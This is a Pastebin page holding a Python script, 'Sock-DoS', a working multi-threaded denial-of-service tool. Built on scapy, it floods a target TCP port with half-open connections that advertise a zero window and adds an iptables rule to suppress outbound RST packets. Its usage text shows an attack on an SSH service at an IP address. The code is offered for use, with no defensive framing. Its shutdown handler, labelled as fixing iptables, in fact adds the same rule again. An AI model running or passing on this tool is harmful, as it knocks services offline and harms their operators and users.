Advertisement
1337ings

[Python] Sock-DoS

Feb 1st, 2017
632
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.97 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. #    Welcome to "Sock-DoS"    #
  4. # - - - - - - - - - - - - - - #
  5. #    Usage - ./sock_dos.py <target> <port> <threads>
  6. #    Example - ./sock_dos.py 69.69.96.96 22 2000
  7. #    Example will perform a multi-threaded sock-dos DoS attack
  8. #    against the SSH (port 22) service on 69.69.96.96
  9.  
  10. import logging
  11. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  12. from scapy.all import *
  13. from time import sleep
  14. import thread
  15. import os
  16. import signal
  17. import sys
  18.  
  19. print "\n              | S O C K    D O S | "
  20. print "    |  Coded by Chris Poole / @codingplanets  |\n\n"
  21.  
  22. if len(sys.argv) != 4:
  23.     print '''
  24.    Usage - ./sock_dos.py <target> <port> <threads>
  25.    Example - ./sock_dos.py 69.69.96.96 22 2000
  26.    Example will perform a multi-threaded sock-dos DoS attack
  27.    against the SSH (port 22) service on 69.69.96.96'''
  28.     sys.exit()
  29.  
  30. target = str(sys.argv[1])
  31. dstport = int(sys.argv[2])
  32. threads = int(sys.argv[3])
  33.  
  34. ## This is where the magic happens
  35. def sockdos(target,dstport):
  36.     while 0 == 0:
  37.         try:
  38.             x = random.randint(0,65535)
  39.             response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
  40.             send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
  41.         except:
  42.             pass
  43.  
  44. ## Graceful shutdown allows IP Table Repair
  45. def graceful_shutdown(signal, frame):
  46.     print '\nYou pressed Ctrl+C!'
  47.     print 'Fixing IP Tables'
  48.     os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
  49.     sys.exit()
  50.  
  51. ## Creates IPTables Rule to Prevent Outbound RST Packet to Allow Scapy TCP Connections
  52. os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
  53. signal.signal(signal.SIGINT, graceful_shutdown)
  54.  
  55. ## Spin up multiple threads to launch the attack
  56. print "The onslaught has begun...use Ctrl+C to stop the attack"
  57. for x in range(0,threads):
  58.     thread.start_new_thread(sockdos, (target,dstport))
  59.  
  60. while 0 == 0:
  61.     sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement